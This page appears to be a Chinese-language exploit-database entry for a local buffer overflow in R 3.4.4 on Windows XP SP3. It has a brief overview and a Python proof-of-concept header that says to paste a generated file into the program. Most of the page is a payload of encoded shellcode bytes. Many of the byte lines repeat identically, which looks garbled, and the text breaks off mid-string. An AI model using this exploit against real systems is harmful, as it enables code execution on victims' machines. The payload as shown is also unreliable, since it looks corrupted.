R 3.4.4 XP SP3 - Buffer Overflow (Non SEH) 漏洞概述 EDB-ID: 46265 作者: Dino Covotos 类型: LOCAL 平台: WINDOWS 日期: 2019-01-28 漏洞描述: 本地缓冲区溢出漏洞，适用于Windows XP SP3环境。 影响范围 受影响应用: R 3.4.4 操作系统: Windows XP SP3 修复方案 建议: 更新到最新版本或应用官方提供的补丁。 POC代码 ```python #!/usr/bin/python Exploit Title: R 3.4.4 - Local Buffer Overflow (Windows XP SP3) Date: 21/01/2019 Exploit Author: Dino Covotos - Telspace Systems Vendor Homepage: https://cloud.r-project.org/bin/windows/ Contact: services@telspace.co.za Twitter: @telspacesystems Version: 3.4.4 Tested on: Windows XP Prof SP3 ENG x86 Note: No SEH exploitation required (SEH for Windows 7 by ZW available on exploit-db). CVE: TBC from Mitre Created in preparation for OSCE - DC - Telspace Systems Used alpha_upper with "\x90" for badchars POC: [1] Generate exploit-calc-final.txt, copy the contents to clipboard "\x30\x45\x43\x41\x4a\x49\x4b\x4c\x4a\x48\x4c\x42\x53\x30\x45" "\x50\x43\x30\x31\x30\x4b\x39\x49\x45\x35\x45\x41\x30\x45\x34" "\x4c\x43\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x32\x45\x41\x4c\x4c\x4b\x43\x41\x37\x30\x30\x4f\x4f\x4f\x4f\x4f\x4f" "\x57\x30\x40\x35\x41\x4f\x4f\x4c\x4c\x47\x4c\x43\x31\x41\x31\x4c" "\x42\x30\x4c\x43\x31\x30\x39\x35\x30\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f" "\x50\x41\x42\x43\x32\x31\x32\x40\x4b\x4c\x4c\x4c\x4c\x4c\x4c\x4c" "\x4b\x43\x31\x41\x4c\x37\x4c\x4c\x4c\x4c\x4c\x4c\x35\x31\x31\x31\x31\x31\x31\x31" "\x51\x35\x31\x31\x31\x31\x31\x31\x40\x31\x4c\x4c\x4c\x31\x41\x37\x30\x45" "\x51\x35\x30\x4c\x4c\x4c\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x4c\x4c\x30\x30\x30\x30\x4c\x4c\x35\x31\x4c\x30\x30\x30\x30\x30\x30\x30\x30" "\x4c\x4c\x30\x31\x31\x30\x4f\x34\x4c\x4c\x35\x31\x49\x37\x30\x30\x30\x30\x30\x30" "\x54\x45\x43\x31\x31\x31\x31\x31\x31\x31\x31\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c" "\x54\x45\x43\x31\x31\x31\x31\x31\x31\x31\x31\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c" "\x40\x49\x35\x31\x31\x31\x4c\x4c\x4b\x44\x4c\x4c\x30\x30\x30\x30\x30\x30\x30\x30" "\x4c\x4c\x31\x31\x31\x31\x31\x31\x4c\x4c\x31\x34\x4c\x4c\x4c\x4c\x31\x31\x30\x30" "\x4c\x40\x49\x37\x4c\x41\x31\x31\x30\x37\x4c\x4c\x4c\x4c\x31\x31\x4f\x31\x4c\x31\x4c" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c\x4c\x35\x31\x4c\x4c\x4c\x4c\x4c\x4c\x31\x4c\x4c\x4c\x4c\x31\x31\x31\x31" "\x4c\x4c\x4c